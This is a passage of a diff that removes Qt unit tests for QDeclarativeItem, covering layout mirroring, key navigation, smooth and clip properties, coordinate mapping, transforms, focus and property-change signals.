QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->effectiveLayoutMirror, true); - QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->effectiveLayoutMirror, true); - - QCOMPARE(anchorsMirrored(rootItem, "mirrored1"), true); - QCOMPARE(anchorsMirrored(rootItem, "mirrored2"), true); - QCOMPARE(anchorsMirrored(rootItem, "notMirrored1"), false); - QCOMPARE(anchorsMirrored(rootItem, "notMirrored2"), false); - QCOMPARE(anchorsMirrored(rootItem, "inheritedMirror1"), true); - QCOMPARE(anchorsMirrored(rootItem, "inheritedMirror2"), true); - - QCOMPARE(childPrivate(rootItem, "mirrored1")->inheritedLayoutMirror, true); - QCOMPARE(childPrivate(rootItem, "mirrored2")->inheritedLayoutMirror, false); - QCOMPARE(childPrivate(rootItem, "notMirrored1")->inheritedLayoutMirror, true); - QCOMPARE(childPrivate(rootItem, "notMirrored2")->inheritedLayoutMirror, false); - QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->inheritedLayoutMirror, true); - QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->inheritedLayoutMirror, true); - - QCOMPARE(childPrivate(rootItem, "mirrored1")->isMirrorImplicit, false); - QCOMPARE(childPrivate(rootItem, "mirrored2")->isMirrorImplicit, false); - QCOMPARE(childPrivate(rootItem, "notMirrored1")->isMirrorImplicit, false); - QCOMPARE(childPrivate(rootItem, "notMirrored2")->isMirrorImplicit, true); - QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->isMirrorImplicit, true); - QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->isMirrorImplicit, true); - - QCOMPARE(childPrivate(rootItem, "mirrored1")->inheritMirrorFromParent, true); - QCOMPARE(childPrivate(rootItem, "mirrored2")->inheritMirrorFromParent, false); - QCOMPARE(childPrivate(rootItem, "notMirrored1")->inheritMirrorFromParent, true); - QCOMPARE(childPrivate(rootItem, "notMirrored2")->inheritMirrorFromParent, false); - QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->inheritMirrorFromParent, true); - QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->inheritMirrorFromParent, true); - - QCOMPARE(childPrivate(rootItem, "mirrored1")->inheritMirrorFromItem, true); - QCOMPARE(childPrivate(rootItem, "mirrored2")->inheritMirrorFromItem, false); - QCOMPARE(childPrivate(rootItem, "notMirrored1")->inheritMirrorFromItem, false); - QCOMPARE(childPrivate(rootItem, "notMirrored2")->inheritMirrorFromItem, false); - QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->inheritMirrorFromItem, false); - QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->inheritMirrorFromItem, false); - - // load dynamic content using Loader that needs to inherit mirroring - rootItem->setProperty("state", "newContent"); - QCOMPARE(childPrivate(rootItem, "notMirrored3")->effectiveLayoutMirror, false); - QCOMPARE(childPrivate(rootItem, "inheritedMirror3")->effectiveLayoutMirror, true); - - QCOMPARE(childPrivate(rootItem, "notMirrored3")->inheritedLayoutMirror, true); - QCOMPARE(childPrivate(rootItem, "inheritedMirror3")->inheritedLayoutMirror, true); - - QCOMPARE(childPrivate(rootItem, "notMirrored3")->isMirrorImplicit, false); - QCOMPARE(childPrivate(rootItem, "inheritedMirror3")->isMirrorImplicit, true); - - QCOMPARE(childPrivate(rootItem, "notMirrored3")->inheritMirrorFromParent, true); - QCOMPARE(childPrivate(rootItem, "inheritedMirror3")->inheritMirrorFromParent, true); - - QCOMPARE(childPrivate(rootItem, "notMirrored3")->inheritMirrorFromItem, false); - QCOMPARE(childPrivate(rootItem, "notMirrored3")->inheritMirrorFromItem, false); - - // disable inheritance - rootItem->setProperty("childrenInherit", false); - - QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->effectiveLayoutMirror, false); - QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->effectiveLayoutMirror, false); - QCOMPARE(childPrivate(rootItem, "mirrored1")->effectiveLayoutMirror, true); - QCOMPARE(childPrivate(rootItem, "notMirrored1")->effectiveLayoutMirror, false); - - QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->inheritedLayoutMirror, false); - QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->inheritedLayoutMirror, false); - QCOMPARE(childPrivate(rootItem, "mirrored1")->inheritedLayoutMirror, false); - QCOMPARE(childPrivate(rootItem, "notMirrored1")->inheritedLayoutMirror, false); - - // re-enable inheritance - rootItem->setProperty("childrenInherit", true); - - QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->effectiveLayoutMirror, true); - QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->effectiveLayoutMirror, true); - QCOMPARE(childPrivate(rootItem, "mirrored1")->effectiveLayoutMirror, true); - QCOMPARE(childPrivate(rootItem, "notMirrored1")->effectiveLayoutMirror, false); - - QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->inheritedLayoutMirror, true); - QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->inheritedLayoutMirror, true); - QCOMPARE(childPrivate(rootItem, "mirrored1")->inheritedLayoutMirror, true); - QCOMPARE(childPrivate(rootItem, "notMirrored1")->inheritedLayoutMirror, true); - - // - // dynamic parenting - // - QDeclarativeItem *parentItem1 = new QDeclarativeItem(); - QDeclarativeItemPrivate::get(parentItem1)->effectiveLayoutMirror = true; // LayoutMirroring.enabled: true - QDeclarativeItemPrivate::get(parentItem1)->isMirrorImplicit = false; - QDeclarativeItemPrivate::get(parentItem1)->inheritMirrorFromItem = true; // LayoutMirroring.childrenInherit: true - QDeclarativeItemPrivate::get(parentItem1)->resolveLayoutMirror(); - - // inherit in constructor - QDeclarativeItem *childItem1 = new QDeclarativeItem(parentItem1); - QCOMPARE(QDeclarativeItemPrivate::get(childItem1)->effectiveLayoutMirror, true); - QCOMPARE(QDeclarativeItemPrivate::get(childItem1)->inheritMirrorFromParent, true); - - // inherit through a parent change - QDeclarativeItem *childItem2 = new QDeclarativeItem(); - QCOMPARE(QDeclarativeItemPrivate::get(childItem2)->effectiveLayoutMirror, false); - QCOMPARE(QDeclarativeItemPrivate::get(childItem2)->inheritMirrorFromParent, false); - childItem2->setParentItem(parentItem1); - QCOMPARE(QDeclarativeItemPrivate::get(childItem2)->effectiveLayoutMirror, true); - QCOMPARE(QDeclarativeItemPrivate::get(childItem2)->inheritMirrorFromParent, true); - - // stop inherting through a parent change - QDeclarativeItem *parentItem2 = new QDeclarativeItem(); - QDeclarativeItemPrivate::get(parentItem2)->effectiveLayoutMirror = true; // LayoutMirroring.enabled: true - QDeclarativeItemPrivate::get(parentItem2)->resolveLayoutMirror(); - childItem2->setParentItem(parentItem2); - QCOMPARE(QDeclarativeItemPrivate::get(childItem2)->effectiveLayoutMirror, false); - QCOMPARE(QDeclarativeItemPrivate::get(childItem2)->inheritMirrorFromParent, false); - - delete parentItem1; - delete parentItem2; -} - -void tst_QDeclarativeItem::layoutMirroringIllegalParent() -{ - QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.1; QtObject { LayoutMirroring.enabled: true; LayoutMirroring.childrenInherit: true }", QUrl::fromLocalFile("")); - QTest::ignoreMessage(QtWarningMsg, "file::1:21: QML QtObject: LayoutDirection attached property only works with Items"); - QObject *object = component.create(); - QVERIFY(object != 0); -} - -void tst_QDeclarativeItem::keyNavigation() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/keynavigationtest.qml")); - canvas->show(); - qApp->processEvents(); - - QEvent wa(QEvent::WindowActivate); - QApplication::sendEvent(canvas, &wa); - QFocusEvent fe(QEvent::FocusIn); - QApplication::sendEvent(canvas, &fe); - - QDeclarativeItem *item = findItem(canvas->rootObject(), "item1"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - QVariant result; - QVERIFY(QMetaObject::invokeMethod(canvas->rootObject(), "verify", - Q_RETURN_ARG(QVariant, result))); - QVERIFY(result.toBool()); - - // right - QKeyEvent key(QEvent::KeyPress, Qt::Key_Right, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item2"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // down - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Down, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item4"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // left - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Left, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item3"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // up - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Up, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item1"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // tab - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item2"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // backtab - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item1"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - delete canvas; -} - -void tst_QDeclarativeItem::keyNavigation_RightToLeft() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/keynavigationtest.qml")); - canvas->show(); - qApp->processEvents(); - - QDeclarativeItem *rootItem = qobject_cast(canvas->rootObject()); - QVERIFY(rootItem); - QDeclarativeItemPrivate* rootItemPrivate = QDeclarativeItemPrivate::get(rootItem); - - rootItemPrivate->effectiveLayoutMirror = true; // LayoutMirroring.mirror: true - rootItemPrivate->isMirrorImplicit = false; - rootItemPrivate->inheritMirrorFromItem = true; // LayoutMirroring.inherit: true - rootItemPrivate->resolveLayoutMirror(); - - QEvent wa(QEvent::WindowActivate); - QApplication::sendEvent(canvas, &wa); - QFocusEvent fe(QEvent::FocusIn); - QApplication::sendEvent(canvas, &fe); - - QDeclarativeItem *item = findItem(canvas->rootObject(), "item1"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - QVariant result; - QVERIFY(QMetaObject::invokeMethod(canvas->rootObject(), "verify", - Q_RETURN_ARG(QVariant, result))); - QVERIFY(result.toBool()); - - // right - QKeyEvent key(QEvent::KeyPress, Qt::Key_Left, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item2"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // left - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Right, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item1"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - delete canvas; -} - -void tst_QDeclarativeItem::keyNavigation_skipNotVisible() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/keynavigationtest.qml")); - canvas->show(); - qApp->processEvents(); - - QEvent wa(QEvent::WindowActivate); - QApplication::sendEvent(canvas, &wa); - QFocusEvent fe(QEvent::FocusIn); - QApplication::sendEvent(canvas, &fe); - - QDeclarativeItem *item = findItem(canvas->rootObject(), "item1"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // Set item 2 to not visible - item = findItem(canvas->rootObject(), "item2"); - QVERIFY(item); - item->setVisible(false); - QVERIFY(!item->isVisible()); - - // right - QKeyEvent key(QEvent::KeyPress, Qt::Key_Right, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item1"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // tab - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item3"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // backtab - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item1"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - //Set item 3 to not visible - item = findItem(canvas->rootObject(), "item3"); - QVERIFY(item); - item->setVisible(false); - QVERIFY(!item->isVisible()); - - // tab - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item4"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // backtab - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item1"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - delete canvas; -} - -void tst_QDeclarativeItem::keyNavigation_implicitSetting() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/keynavigationtest_implicit.qml")); - canvas->show(); - qApp->processEvents(); - - QEvent wa(QEvent::WindowActivate); - QApplication::sendEvent(canvas, &wa); - QFocusEvent fe(QEvent::FocusIn); - QApplication::sendEvent(canvas, &fe); - - QDeclarativeItem *item = findItem(canvas->rootObject(), "item1"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - QVariant result; - QVERIFY(QMetaObject::invokeMethod(canvas->rootObject(), "verify", - Q_RETURN_ARG(QVariant, result))); - QVERIFY(result.toBool()); - - // right - QKeyEvent key(QEvent::KeyPress, Qt::Key_Right, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item2"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // back to item1 - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Left, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item1"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // down - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Down, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item3"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // move to item4 - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Right, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item4"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // left - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Left, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item3"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // back to item4 - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Right, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item4"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // up - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Up, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item2"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // back to item4 - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Down, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item4"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // tab - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item1"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // back to item4 - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item4"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - // backtab - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QVERIFY(key.isAccepted()); - - item = findItem(canvas->rootObject(), "item3"); - QVERIFY(item); - QVERIFY(item->hasActiveFocus()); - - delete canvas; -} - -void tst_QDeclarativeItem::smooth() -{ - QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; Item { smooth: false; }", QUrl::fromLocalFile("")); - QDeclarativeItem *item = qobject_cast(component.create()); - QSignalSpy spy(item, SIGNAL(smoothChanged(bool))); - - QVERIFY(item); - QVERIFY(!item->smooth()); - - item->setSmooth(true); - QVERIFY(item->smooth()); - QCOMPARE(spy.count(),1); - QList arguments = spy.first(); - QVERIFY(arguments.count() == 1); - QVERIFY(arguments.at(0).toBool() == true); - - item->setSmooth(true); - QCOMPARE(spy.count(),1); - - item->setSmooth(false); - QVERIFY(!item->smooth()); - QCOMPARE(spy.count(),2); - item->setSmooth(false); - QCOMPARE(spy.count(),2); - - delete item; -} - -void tst_QDeclarativeItem::clip() -{ - QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0\nItem { clip: false\n }", QUrl::fromLocalFile("")); - QDeclarativeItem *item = qobject_cast(component.create()); - QSignalSpy spy(item, SIGNAL(clipChanged(bool))); - - QVERIFY(item); - QVERIFY(!item->clip()); - - item->setClip(true); - QVERIFY(item->clip()); - - QList arguments = spy.first(); - QVERIFY(arguments.count() == 1); - QVERIFY(arguments.at(0).toBool() == true); - - QCOMPARE(spy.count(),1); - item->setClip(true); - QCOMPARE(spy.count(),1); - - item->setClip(false); - QVERIFY(!item->clip()); - QCOMPARE(spy.count(),2); - item->setClip(false); - QCOMPARE(spy.count(),2); - - delete item; -} - -void tst_QDeclarativeItem::mapCoordinates() -{ - QFETCH(int, x); - QFETCH(int, y); - - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(300, 300); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/mapCoordinates.qml")); - canvas->show(); - qApp->processEvents(); - - QDeclarativeItem *root = qobject_cast(canvas->rootObject()); - QVERIFY(root != 0); - QDeclarativeItem *a = findItem(canvas->rootObject(), "itemA"); - QVERIFY(a != 0); - QDeclarativeItem *b = findItem(canvas->rootObject(), "itemB"); - QVERIFY(b != 0); - - QVariant result; - - QVERIFY(QMetaObject::invokeMethod(root, "mapAToB", - Q_RETURN_ARG(QVariant, result), Q_ARG(QVariant, x), Q_ARG(QVariant, y))); - QCOMPARE(result.value(), qobject_cast(a)->mapToItem(b, x, y)); - - QVERIFY(QMetaObject::invokeMethod(root, "mapAFromB", - Q_RETURN_ARG(QVariant, result), Q_ARG(QVariant, x), Q_ARG(QVariant, y))); - QCOMPARE(result.value(), qobject_cast(a)->mapFromItem(b, x, y)); - - QVERIFY(QMetaObject::invokeMethod(root, "mapAToNull", - Q_RETURN_ARG(QVariant, result), Q_ARG(QVariant, x), Q_ARG(QVariant, y))); - QCOMPARE(result.value(), qobject_cast(a)->mapToScene(x, y)); - - QVERIFY(QMetaObject::invokeMethod(root, "mapAFromNull", - Q_RETURN_ARG(QVariant, result), Q_ARG(QVariant, x), Q_ARG(QVariant, y))); - QCOMPARE(result.value(), qobject_cast(a)->mapFromScene(x, y)); - - QString warning1 = QUrl::fromLocalFile(SRCDIR "/data/mapCoordinates.qml").toString() + ":7:5: QML Item: mapToItem() given argument \"1122\" which is neither null nor an Item"; - QString warning2 = QUrl::fromLocalFile(SRCDIR "/data/mapCoordinates.qml").toString() + ":7:5: QML Item: mapFromItem() given argument \"1122\" which is neither null nor an Item"; - - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1)); - QVERIFY(QMetaObject::invokeMethod(root, "checkMapAToInvalid", - Q_RETURN_ARG(QVariant, result), Q_ARG(QVariant, x), Q_ARG(QVariant, y))); - QVERIFY(result.toBool()); - - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2)); - QVERIFY(QMetaObject::invokeMethod(root, "checkMapAFromInvalid", - Q_RETURN_ARG(QVariant, result), Q_ARG(QVariant, x), Q_ARG(QVariant, y))); - QVERIFY(result.toBool()); - - delete canvas; -} - -void tst_QDeclarativeItem::mapCoordinates_data() -{ - QTest::addColumn("x"); - QTest::addColumn("y"); - - for (int i=-20; i<=20; i+=10) - QTest::newRow(QTest::toString(i)) << i << i; -} - -void tst_QDeclarativeItem::transforms_data() -{ - QTest::addColumn("qml"); - QTest::addColumn("matrix"); - QTest::newRow("translate") << QByteArray("Translate { x: 10; y: 20 }") - << QMatrix(1,0,0,1,10,20); - QTest::newRow("rotation") << QByteArray("Rotation { angle: 90 }") - << QMatrix(0,1,-1,0,0,0); - QTest::newRow("scale") << QByteArray("Scale { xScale: 1.5; yScale: -2 }") - << QMatrix(1.5,0,0,-2,0,0); - QTest::newRow("sequence") << QByteArray("[ Translate { x: 10; y: 20 }, Scale { xScale: 1.5; yScale: -2 } ]") - << QMatrix(1,0,0,1,10,20) * QMatrix(1.5,0,0,-2,0,0); -} - -void tst_QDeclarativeItem::transforms() -{ - QFETCH(QByteArray, qml); - QFETCH(QMatrix, matrix); - QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0\nItem { transform: "+qml+"}", QUrl::fromLocalFile("")); - QDeclarativeItem *item = qobject_cast(component.create()); - QVERIFY(item); - QCOMPARE(item->sceneMatrix(), matrix); -} - -void tst_QDeclarativeItem::childrenProperty() -{ - QDeclarativeComponent component(&engine, SRCDIR "/data/childrenProperty.qml"); - - QObject *o = component.create(); - QVERIFY(o != 0); - - QCOMPARE(o->property("test1").toBool(), true); - QCOMPARE(o->property("test2").toBool(), true); - QCOMPARE(o->property("test3").toBool(), true); - QCOMPARE(o->property("test4").toBool(), true); - QCOMPARE(o->property("test5").toBool(), true); - delete o; -} - -void tst_QDeclarativeItem::resourcesProperty() -{ - QDeclarativeComponent component(&engine, SRCDIR "/data/resourcesProperty.qml"); - - QObject *o = component.create(); - QVERIFY(o != 0); - - QCOMPARE(o->property("test1").toBool(), true); - QCOMPARE(o->property("test2").toBool(), true); - QCOMPARE(o->property("test3").toBool(), true); - QCOMPARE(o->property("test4").toBool(), true); - QCOMPARE(o->property("test5").toBool(), true); - delete o; -} - -void tst_QDeclarativeItem::mouseFocus() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - QVERIFY(canvas); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/mouseFocus.qml")); - canvas->show(); - QVERIFY(canvas->rootObject()); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QDeclarativeItem *item = findItem(canvas->rootObject(), "declarativeItem"); - QVERIFY(item); - QSignalSpy focusSpy(item, SIGNAL(activeFocusChanged(bool))); - - QTest::mouseClick(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(item->scenePos())); - QApplication::processEvents(); - QCOMPARE(focusSpy.count(), 1); - QVERIFY(item->hasActiveFocus()); - - // make sure focusable graphics widget underneath does not steal focus - QTest::mouseClick(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(item->scenePos())); - QApplication::processEvents(); - QCOMPARE(focusSpy.count(), 1); - QVERIFY(item->hasActiveFocus()); - - item->setFocus(false); - QVERIFY(!item->hasActiveFocus()); - QCOMPARE(focusSpy.count(), 2); - item->setFocus(true); - QCOMPARE(focusSpy.count(), 3); - - delete canvas; -} - -void tst_QDeclarativeItem::propertyChanges() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml")); - canvas->show(); - - QEvent wa(QEvent::WindowActivate); - QApplication::sendEvent(canvas, &wa); - QFocusEvent fe(QEvent::FocusIn); - QApplication::sendEvent(canvas, &fe); - - QDeclarativeItem *item = findItem(canvas->rootObject(), "item"); - QDeclarativeItem *parentItem = findItem(canvas->rootObject(), "parentItem"); - - QVERIFY(item); - QVERIFY(parentItem); - - QSignalSpy parentSpy(item, SIGNAL(parentChanged(QDeclarativeItem *))); - QSignalSpy widthSpy(item, SIGNAL(widthChanged())); - QSignalSpy heightSpy(item, SIGNAL(heightChanged())); - QSignalSpy baselineOffsetSpy(item, SIGNAL(baselineOffsetChanged(qreal))); - QSignalSpy childrenRectSpy(parentItem, SIGNAL(childrenRectChanged(QRectF))); - QSignalSpy focusSpy(item, SIGNAL(focusChanged(bool))); - QSignalSpy wantsFocusSpy(parentItem, SIGNAL(activeFocusChanged(bool))); - QSignalSpy childrenChangedSpy(parentItem, SIGNAL(childrenChanged())); - QSignalSpy xSpy(item, SIGNAL(xChanged())); - QSignalSpy ySpy(item, SIGNAL(yChanged())); - - item->setParentItem(parentItem); - item->setWidth(100.0); - item->setHeight(200.0); - item->setFocus(true); - item->setBaselineOffset(10.0); - - QCOMPARE(item->parentItem(), parentItem); - QCOMPARE(parentSpy.count(),1); - QList parentArguments = parentSpy.first(); - QVERIFY(parentArguments.count() == 1); - QCOMPARE(item->parentItem(), qvariant_cast(parentArguments.at(0))); - QCOMPARE(childrenChangedSpy.count(),1); - - item->setParentItem(parentItem); - QCOMPARE(childrenChangedSpy.count(),1); - - QCOMPARE(item->width(), 100.0); - QCOMPARE(widthSpy.count(),1); - - QCOMPARE(item->height(), 200.0); - QCOMPARE(heightSpy.count(),1); - - QCOMPARE(item->baselineOffset(), 10.0); - QCOMPARE(baselineOffsetSpy.count(),1); - QList baselineOffsetArguments = baselineOffsetSpy.first(); - QVERIFY(baselineOffsetArguments.count() == 1); - QCOMPARE(item->baselineOffset(), baselineOffsetArguments.at(0).toReal()); - - QCOMPARE(parentItem->childrenRect(), QRectF(0.0,0.0,100.0,200.0)); - QCOMPARE(childrenRectSpy.count(),2); - QList childrenRectArguments = childrenRectSpy.at(1); - QVERIFY(childrenRectArguments.count() == 1); - QCOMPARE(parentItem->childrenRect(), childrenRectArguments.at(0).toRectF()); - - QCOMPARE(item->hasActiveFocus(), true); - QCOMPARE(focusSpy.count(),1); - QList focusArguments = focusSpy.first(); - QVERIFY(focusArguments.count() == 1); - QCOMPARE(focusArguments.at(0).toBool(), true); - - QCOMPARE(parentItem->hasActiveFocus(), false); - QCOMPARE(parentItem->hasFocus(), false); - QCOMPARE(wantsFocusSpy.count(),0); - - item->setX(10.0); - QCOMPARE(item->x(), 10.0); - QCOMPARE(xSpy.count(), 1); - - item->setY(10.0); - QCOMPARE(item->y(), 10.0); - QCOMPARE(ySpy.count(), 1); - - delete canvas; -} - -void tst_QDeclarativeItem::childrenRect() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/childrenRect.qml")); - canvas->show(); - - QGraphicsObject *o = canvas->rootObject(); - QDeclarativeItem *item = o->findChild("testItem"); - QCOMPARE(item->width(), qreal(0)); - QCOMPARE(item->height(), qreal(0)); - - o->setProperty("childCount", 1); - QCOMPARE(item->width(), qreal(10)); - QCOMPARE(item->height(), qreal(20)); - - o->setProperty("childCount", 5); - QCOMPARE(item->width(), qreal(50)); - QCOMPARE(item->height(), qreal(100)); - - o->setProperty("childCount", 0); - QCOMPARE(item->width(), qreal(0)); - QCOMPARE(item->height(), qreal(0)); - - delete o; - delete canvas; -} - -// QTBUG-11383 -void tst_QDeclarativeItem::childrenRectBug() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/childrenRectBug.qml")); - canvas->show(); - - QGraphicsObject *o = canvas->rootObject(); - QDeclarativeItem *item = o->findChild("theItem"); - QCOMPARE(item->width(), qreal(200)); - QCOMPARE(item->height(), qreal(100)); - QCOMPARE(item->x(), qreal(100)); - - delete canvas; -} - -// QTBUG-11465 -void tst_QDeclarativeItem::childrenRectBug2() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/childrenRectBug2.qml")); - canvas->show(); - - QDeclarative1Rectangle *rect = qobject_cast(canvas->rootObject()); - QVERIFY(rect); - QDeclarativeItem *item = rect->findChild("theItem"); - QCOMPARE(item->width(), qreal(100)); - QCOMPARE(item->height(), qreal(110)); - QCOMPARE(item->x(), qreal(130)); - - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - rectPrivate->setState("row"); - QCOMPARE(item->width(), 